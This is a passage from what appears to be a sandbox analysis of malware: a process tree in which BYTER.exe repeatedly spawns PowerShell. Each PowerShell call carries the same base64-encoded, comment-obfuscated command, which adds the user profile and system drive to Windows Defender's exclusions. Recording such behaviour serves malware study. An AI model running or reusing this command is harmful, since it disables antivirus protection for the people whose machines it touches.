        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        121⤵
        
        PID:2924
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        121⤵
        
        PID:2504
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        122⤵
        
        PID:3464
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        122⤵
        
        PID:3016
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        123⤵
        
        PID:5080
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        123⤵
        
        PID:4484
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        124⤵
        
        PID:4912
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        124⤵
        
        PID:4716
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        125⤵
        
        PID:4904
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        125⤵
        
        PID:780
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        126⤵
        
        PID:5996
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        126⤵
        
        PID:2832
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        127⤵
        
        PID:324
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        127⤵
        
        PID:5520
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        128⤵
        
        PID:6276
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        128⤵
        
        PID:3864
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        129⤵
        
        PID:1656
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        129⤵
        
        PID:3068
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        130⤵
        
        PID:5660
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        130⤵
        
        PID:5212
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        131⤵
        
        PID:5712
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        131⤵
        
        PID:4248
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        132⤵
        
        PID:1464
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        132⤵
        
        PID:2636
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        133⤵
        
        PID:5380
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        133⤵
        
        PID:4376
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        134⤵
        
        PID:5768
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        134⤵
        
        PID:4396
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        135⤵
        
        PID:5192
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        135⤵
        
        PID:2800
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        136⤵
        
        PID:6864
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        136⤵
        
        PID:2676
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        137⤵
        
        PID:4508
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        137⤵
        
        PID:4008
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        138⤵
        
        PID:5896
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        138⤵
        
        PID:6976
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        139⤵
        
        PID:6796
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        139⤵
        
        PID:1504
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        140⤵
        
        PID:6872
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        140⤵
        
        PID:4336
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        141⤵
        
        PID:5700
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        141⤵
        
        PID:3380
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        142⤵
        
        PID:928
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        142⤵
        
        PID:7068
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        143⤵
        
        PID:756
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        143⤵
        
        PID:6668
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        144⤵
        
        PID:5644
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        144⤵
        
        PID:4108
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        145⤵
        
        PID:5728
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        145⤵
        
        PID:4460
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        146⤵
        
        PID:6940
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        146⤵
        
        PID:6024
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        147⤵
        
        PID:2640
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        147⤵
        
        PID:800
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        148⤵
        
        PID:580
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        148⤵
        
        PID:5948
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        149⤵
        
        PID:2120
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        149⤵
        
        PID:5064
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        150⤵
        
        PID:5612
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        150⤵
        
        PID:2488
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        151⤵
        
        PID:6596
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        151⤵
        
        PID:3780
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        152⤵
        
        PID:1652
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        152⤵
        
        PID:2088
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        153⤵
        
        PID:4112
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        153⤵
        
        PID:4496
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
